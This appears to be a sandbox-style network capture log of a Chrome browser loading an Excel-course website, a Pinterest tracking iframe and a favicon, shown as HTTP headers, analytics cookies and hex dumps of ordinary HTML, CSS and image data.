Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	2220	OUT	GET /courses/ HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Purpose: prefetch Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
2024-04-11 21:26:54 UTC	1236	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0ebb9f5242c0-EWR CF-Cache-Status: HIT Age: 2512298 Cache-Control: public, max-age=0, s-maxage=2592000 Last-Modified: Fri, 01 Mar 2024 11:00:07 GMT Link: <https://earnandexcel.com/wp-json/>; rel="https://api.w.org/" Vary: Accept-Encoding, sec-ch-ua-mobile accept-ch: Sec-CH-UA-Mobile content-security-policy: block-all-mixed-content ki-Cache-Tag: 2b83a4e6-d195-4d43-8593-11c2c85261d1,b407fe048fa3d9c5b9238f368a804d9f0142192439e1fe2e1c57514e9a3bd67c ki-cache-type: Edge Ki-CF-Cache-Status: HIT ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 x-kinsta-cache: HIT x-nitro-cache: MISS x-nitro-disabled: 1 x-nitro-disabled-reason: search Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mDcF%2FYZOAFtTuu2FvYoxEFW67qFaJ5zuYw%2F9jb8i3%2Fetf0mxfKM9CbE27c5SS8nPWx%2FjU4JByFS2iQDqdV8i4WvvSrhesjLn8AgQCQLlaO5rAZaN18gpLkXxj7cBt535znk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:54 UTC	133	IN	Data Raw: 37 61 64 63 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 3e 0a 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 Data Ascii: 7adc<!DOCTYPE html><html lang="en-US" ><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initia
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 7c 7c 20 27 27 0a 0a 09 09 09 77 69 6e 64 6f 77 2e 6c 69 67 68 74 73 70 65 65 64 4f 70 74 69 6d 69 7a 65 53 74 79 6c 65 73 68 65 65 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 09 09 09 09 63 6f 6e 73 74 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 Data Ascii: l-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><script type="text/javascript">window.flatStyles = window.flatStyles \|\| ''window.lightspeedOptimizeStylesheet = function () {const currentStylesheet = document.querySelect
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 20 65 6c 73 65 20 7b 0a 09 09 09 09 09 09 09 09 77 69 6e 64 6f 77 2e 66 6c 61 74 53 74 79 6c 65 73 20 3d 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 69 6e 6e 65 72 48 54 4d 4c 0a 09 09 09 09 09 09 09 09 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 20 27 64 61 74 61 2d 6c 73 2d 6f 70 74 69 6d 69 7a 65 64 27 2c 20 27 31 27 20 29 0a 09 09 09 09 09 09 09 7d 0a 09 09 09 09 09 09 7d 0a 09 09 09 09 09 7d 20 63 61 74 63 68 20 28 20 65 72 72 6f 72 20 29 20 7b 0a 09 09 09 09 09 09 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 20 65 72 72 6f 72 20 29 0a 09 09 09 09 09 7d 0a 0a 09 09 09 09 09 69 66 20 28 20 63 75 72 72 65 6e 74 53 74 79 6c 65 73 68 65 65 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 2e 74 61 67 4e Data Ascii: else {window.flatStyles = currentStylesheet.innerHTMLcurrentStylesheet.setAttribute( 'data-ls-optimized', '1' )}}} catch ( error ) {console.warn( error )}if ( currentStylesheet.parentElement.tagN
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 74 6c 65 3e 43 6f 75 72 73 65 73 20 4c 69 73 74 20 2d 20 45 61 72 6e 20 26 61 6d 70 3b 20 45 78 63 65 6c 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 63 61 6e 6f 6e 69 63 61 6c 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 6e 5f 55 53 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 75 72 73 65 73 20 4c 69 73 74 20 2d Data Ascii: tle>Courses List - Earn & Excel</title><link rel="canonical" href="https://earnandexcel.com/courses/" /><meta property="og:locale" content="en_US" /><meta property="og:type" content="article" /><meta property="og:title" content="Courses List -
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 7d 2c 22 69 6e 4c 61 6e 67 75 61 67 65 22 3a 22 65 6e 2d 55 53 22 2c 22 70 6f 74 65 6e 74 69 61 6c 41 63 74 69 6f 6e 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 52 65 61 64 41 63 74 69 6f 6e 22 2c 22 74 61 72 67 65 74 22 3a 5b 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 22 5d 7d 5d 7d 2c 7b 22 40 74 79 70 65 22 3a 22 42 72 65 61 64 63 72 75 6d 62 4c 69 73 74 22 2c 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 63 6f 75 72 73 65 73 2f 23 62 72 65 61 64 63 72 75 6d 62 22 2c 22 69 74 65 6d 4c 69 73 74 45 6c 65 6d 65 6e 74 22 3a 5b 7b 22 40 74 79 70 65 22 3a 22 4c 69 Data Ascii: dexcel.com/courses/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https://earnandexcel.com/courses/"]}]},{"@type":"BreadcrumbList","@id":"https://earnandexcel.com/courses/#breadcrumb","itemListElement":[{"@type":"Li
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 2f 63 73 73 2f 70 6c 61 63 65 68 6f 6c 64 65 72 73 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 69 63 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 74 75 74 6f 72 2f 61 73 73 65 74 73 2f 63 73 73 2f 74 75 74 6f 72 2d 69 63 6f 6e 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 75 74 6f 72 2d 63 73 73 27 20 20 Data Ascii: /css/placeholders.css' type='text/css' media='all' /><link rel='stylesheet' id='tutor-icon-css' href='https://earnandexcel.com/wp-content/plugins/tutor/assets/css/tutor-icon.min.css' type='text/css' media='all' /><link rel='stylesheet' id='tutor-css'
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 6d 69 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 64 75 6d 61 6c 6c 2f 61 73 73 65 74 73 2f 66 6f 6e 74 73 2f 65 64 75 6d 69 2f 66 6f 6e 74 2d 65 64 75 6d 69 2e 6d 69 6e 2e 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 73 77 69 70 65 72 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 64 75 6d 61 6c 6c 2f 61 73 73 65 74 73 2f 6c 69 62 73 2f 73 77 69 70 65 72 2f 63 73 73 Data Ascii: mi-css' href='https://earnandexcel.com/wp-content/themes/edumall/assets/fonts/edumi/font-edumi.min.css' type='text/css' media='all' /><link rel='stylesheet' id='swiper-css' href='https://earnandexcel.com/wp-content/themes/edumall/assets/libs/swiper/css
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 2d 74 65 78 74 2d 62 69 74 2d 6c 69 67 68 74 65 6e 3a 20 23 37 65 37 65 37 65 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 74 65 78 74 2d 6c 69 67 68 74 65 6e 3a 20 23 61 62 61 62 61 62 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 68 65 61 64 69 6e 67 3a 20 23 32 35 32 35 32 35 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 3a 20 23 30 30 37 31 64 63 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 68 6f 76 65 72 3a 20 23 36 39 36 39 36 39 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f 78 2d 77 68 69 74 65 2d 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 3b 0a 09 09 09 09 2d 2d 65 64 75 6d 61 6c 6c 2d 63 6f 6c 6f 72 2d 62 6f Data Ascii: -text-bit-lighten: #7e7e7e;--edumall-color-text-lighten: #ababab;--edumall-color-heading: #252525;--edumall-color-link: #0071dc;--edumall-color-link-hover: #696969;--edumall-color-box-white-background: #fff;--edumall-color-bo
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 74 65 64 2d 64 6f 74 2c 2e 65 64 75 6d 61 6c 6c 2d 6c 69 73 74 20 2e 6d 61 72 6b 65 72 2c 2e 74 6d 2d 73 6f 63 69 61 6c 2d 6e 65 74 77 6f 72 6b 73 20 2e 6c 69 6e 6b 3a 68 6f 76 65 72 2c 2e 74 6d 2d 73 6f 63 69 61 6c 2d 6e 65 74 77 6f 72 6b 73 2e 73 74 79 6c 65 2d 73 6f 6c 69 64 2d 72 6f 75 6e 64 65 64 2d 69 63 6f 6e 20 2e 6c 69 6e 6b 2c 2e 65 64 75 6d 61 6c 6c 2d 74 65 61 6d 2d 6d 65 6d 62 65 72 2d 73 74 79 6c 65 2d 30 31 20 2e 73 6f 63 69 61 6c 2d 6e 65 74 77 6f 72 6b 73 20 61 3a 68 6f 76 65 72 2c 2e 65 64 75 6d 61 6c 6c 2d 6d 6f 64 65 72 6e 2d 63 61 72 6f 75 73 65 6c 2d 73 74 79 6c 65 2d 30 32 20 2e 73 6c 69 64 65 2d 62 75 74 74 6f 6e 2c 2e 74 6d 2d 73 6c 69 64 65 72 20 61 3a 68 6f 76 65 72 20 2e 68 65 61 64 69 6e 67 2c 2e 77 6f 6f 73 77 2d 61 72 65 61 Data Ascii: ted-dot,.edumall-list .marker,.tm-social-networks .link:hover,.tm-social-networks.style-solid-rounded-icon .link,.edumall-team-member-style-01 .social-networks a:hover,.edumall-modern-carousel-style-02 .slide-button,.tm-slider a:hover .heading,.woosw-area
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: 6c 6f 67 2d 63 61 70 74 69 6f 6e 2d 73 74 79 6c 65 2d 30 33 20 2e 74 6d 2d 62 75 74 74 6f 6e 2e 73 74 79 6c 65 2d 62 6f 74 74 6f 6d 2d 6c 69 6e 65 20 2e 62 75 74 74 6f 6e 2d 63 6f 6e 74 65 6e 74 2d 77 72 61 70 70 65 72 3a 61 66 74 65 72 2c 2e 68 69 6e 74 2d 2d 70 72 69 6d 61 72 79 3a 61 66 74 65 72 2c 5b 64 61 74 61 2d 66 70 2d 73 65 63 74 69 6f 6e 2d 73 6b 69 6e 3d 27 64 61 72 6b 27 5d 20 23 66 70 2d 6e 61 76 20 75 6c 20 6c 69 20 61 20 73 70 61 6e 2c 5b 64 61 74 61 2d 66 70 2d 73 65 63 74 69 6f 6e 2d 73 6b 69 6e 3d 27 64 61 72 6b 27 5d 20 2e 66 70 2d 73 6c 69 64 65 73 4e 61 76 20 75 6c 20 6c 69 20 61 20 73 70 61 6e 2c 2e 70 61 67 65 2d 73 63 72 6f 6c 6c 2d 75 70 2c 2e 74 6f 70 2d 62 61 72 2d 30 31 20 2e 74 6f 70 2d 62 61 72 2d 62 75 74 74 6f 6e 2c 2e 74 Data Ascii: log-caption-style-03 .tm-button.style-bottom-line .button-content-wrapper:after,.hint--primary:after,[data-fp-section-skin='dark'] #fp-nav ul li a span,[data-fp-section-skin='dark'] .fp-slidesNav ul li a span,.page-scroll-up,.top-bar-01 .top-bar-button,.t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
236	192.168.2.17	50003	151.101.64.84	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:53 UTC	706	OUT	GET /ct.html HTTP/1.1 Host: ct.pinterest.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ar_debug=1
2024-04-11 21:26:54 UTC	363	IN	HTTP/1.1 200 OK Connection: close Content-Length: 565 cache-control: max-age=86400 content-type: text/html; charset=utf-8 x-envoy-upstream-service-time: 5 referrer-policy: origin x-pinterest-rid: 2991516093568405 Date: Thu, 11 Apr 2024 21:26:54 GMT X-CDN: fastly alt-svc: h3=":443";ma=600 Pinterest-Version: aed6e22040f8c87d02c242b2ce1a155ff8d4fc7c
2024-04-11 21:26:54 UTC	565	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 50 69 6e 74 65 72 65 73 74 20 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 72 6f 6f 74 22 3e 3c 2f 64 69 76 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6d 65 73 73 61 67 65 22 2c 20 28 65 76 65 6e 74 29 20 3d 3e 20 7b 69 66 20 28 65 76 65 6e 74 2e 6f 72 69 67 69 6e 20 21 3d 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 69 6e 74 65 72 65 73 74 2e 63 6f 6d 22 29 20 7b 72 65 74 75 72 6e 3b 7d 74 72 79 20 7b 69 66 20 28 65 76 65 6e 74 2e 64 61 74 61 2e 6b 65 79 20 3d 3d 20 22 5f 65 70 69 6b 5f 6c 6f 63 61 6c 73 74 6f 72 65 Data Ascii: <!DOCTYPE html><html lang="en"><head><title>Pinterest ct</title></head><body><div id="root"></div><script>window.addEventListener("message", (event) => {if (event.origin != "https://www.pinterest.com") {return;}try {if (event.data.key == "_epik_localstore

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
237	192.168.2.17	50004	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:54 UTC	2181	OUT	GET /wp-content/uploads/cropped-Earn-And-Excel-Favicon-32x32.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; am_gpp=DBABzw~1---~BqgAAAAAAgA; am_gpp_cmp_version=v2test; _hjSessionUser_2832943=eyJpZCI6IjVlMjJhM2QyLWFlZDMtNWU3Mi05OWUyLTI5NjgxY2ZmMjFkZiIsImNyZWF0ZWQiOjE3MTI4NzA4MTAwODYsImV4aXN0aW5nIjpmYWxzZX0=; _hjSession_2832943=eyJpZCI6ImU3N2MxMjdjLWI2Y2UtNGM1OC04NzFlLTEzNzM5NWMzYWUzOSIsImMiOjE3MTI4NzA4MTAwODgsInMiOjAsInIiOjAsInNiIjowLCJzciI6MCwic2UiOjAsImZzIjoxLCJzcCI6MH0=; wickedfu_null=%7B%22url%22%3A%22https%3A%2F%2Fearnandexcel.com%2F%3Futm_source%3DDirect%26utm_medium%3DDirect%26utm_campaign%3DDirect%26utm_content%3Dearnandexcel.com%26utm_term%3DOrganic%2520traffic%22%2C%22referrer%22%3A%22%22%2C%22time%22%3A1712870810294%2C%22c%22%3A3819%7D; _fbp=fb.1.1712870810368.1597450838; _pin_unauth=dWlkPVpHRmhZMlUxWmpJdE4yRmxOeTAwTUdaa0xUazBZelF0TlRoaVlUZzROVGc0T1RkbA; _tt_enable_cookie=1; _ttp=XCZFrwHB2oKigSWNnWiZlr2i-R2; growme_version={"name":"7.239.1","version":"7.239.1"}; _sctr=1%7C1712786400000
2024-04-11 21:26:54 UTC	903	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:54 GMT Content-Type: image/jpeg Content-Length: 1845 Connection: close CF-Ray: 872e0ebe5aa80fa4-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df3303-735" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:43 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gCb2guspgVhe7Srar0vXB64oQBjH1hANxHu3LbYEjhWAq8MsKHHzCiOoBdpqNbcDQNPARmuAPDNZPnLISR%2FE2XBdMHxovnWub5RYrfINhRLzcqrsaIc5NyiTh%2F2gsH%2B4HUk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:54 UTC	466	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff db 00 43 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ff c2 00 11 08 00 20 00 20 03 01 22 00 02 11 01 03 11 01 ff c4 00 17 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 07 09 08 06 ff c4 00 15 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 b8 59 39 3c 0c 47 07 05 40 65 b6 b8 4c 99 50 82 Data Ascii: JFIF``CC "Y9<G@eLP
2024-04-11 21:26:54 UTC	1369	IN	Data Raw: fb d5 3c 27 98 42 75 8c 3e 6d 85 93 04 02 7f 23 98 02 4d 1c 76 0d ed 20 22 b7 eb 78 f1 29 79 1a 89 b5 1d b9 15 ee ed 7b d5 3a 4e ba 4f ea f9 59 82 58 62 37 d8 fc 5b 8c 7d 96 d0 45 91 56 96 b7 2d a2 79 03 2e 29 89 3e 3f 10 ee 63 b9 0a c7 c0 52 20 da 56 9c 4c 70 58 f2 36 25 8b d7 41 af ff c4 00 22 11 00 02 03 00 02 01 04 03 00 00 00 00 00 00 00 00 02 03 01 04 05 06 12 00 07 11 13 14 16 31 32 ff da 00 08 01 02 01 01 3f 01 f5 a3 9b 73 e2 b1 a7 9d 73 5f 3b 8c 64 2f 5d f9 d9 dc 77 3e e1 7e 43 bd 9a bb 4d 48 6b e8 fd 7f 91 f5 33 ac a5 7f 28 2a d3 73 d3 68 1c 02 aa b7 06 3e c7 9c 7b 47 4f dd 0a 07 aa e2 09 c0 a6 d6 69 cf da aa a9 21 19 7a fb 7b 13 14 23 3d a6 02 5a 21 11 31 20 bf eb cd 2f 4c b5 79 df 27 e4 d5 70 78 b0 61 65 9f 2d d6 b1 af ce 39 33 1b 63 43 42 c2 Data Ascii: <'Bu>m#Mv "x)y{:NOYXb7[}EV-y.)>?cR VLpX6%A"12?ss_;d/]w>~CMHk3(*sh>{GOi!z{#=Z!1 /Ly'pxae-93cCB
2024-04-11 21:26:54 UTC	10	IN	Data Raw: b5 30 f4 d4 22 0e ed 0f ff d9 Data Ascii: 0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
238	192.168.2.17	50007	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:54 UTC	1944	OUT	GET /wp-content/uploads/cropped-Earn-And-Excel-Favicon-32x32.jpg HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; 